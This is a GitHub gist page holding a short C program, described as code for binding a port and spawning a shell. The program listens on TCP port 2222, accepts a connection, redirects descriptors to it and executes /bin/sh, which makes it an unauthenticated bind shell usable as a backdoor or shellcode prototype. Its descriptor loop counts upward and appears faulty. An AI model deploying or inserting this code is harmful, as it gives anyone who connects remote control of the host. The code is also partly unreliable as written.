Created
February 22, 2019 23:53
-
-
Save retpolanne/52c0f2ab41e1a8be8f8cf9019aee834a to your computer and use it in GitHub Desktop.
Code for binding a port and spawning a shell
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <unistd.h> | |
#include <stdlib.h> | |
#include <netinet/in.h> | |
void main() { | |
int sock = socket(AF_INET, SOCK_STREAM, 0); | |
struct sockaddr_in addr; | |
addr.sin_family = AF_INET; | |
addr.sin_addr.s_addr = INADDR_ANY; | |
addr.sin_port = htons(2222); | |
int ret = bind( | |
sock, | |
(struct sockaddr*)&addr, | |
sizeof(addr) | |
); | |
ret = listen(sock, 1); | |
int client = accept( | |
sock, | |
(struct sockaddr*)NULL, | |
NULL | |
); | |
for (int i = sock; i >=0; i++) { | |
dup2(client, i); | |
} | |
char *argv[] = {"/bin/sh", 0}; | |
execve(argv[0], argv, NULL); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment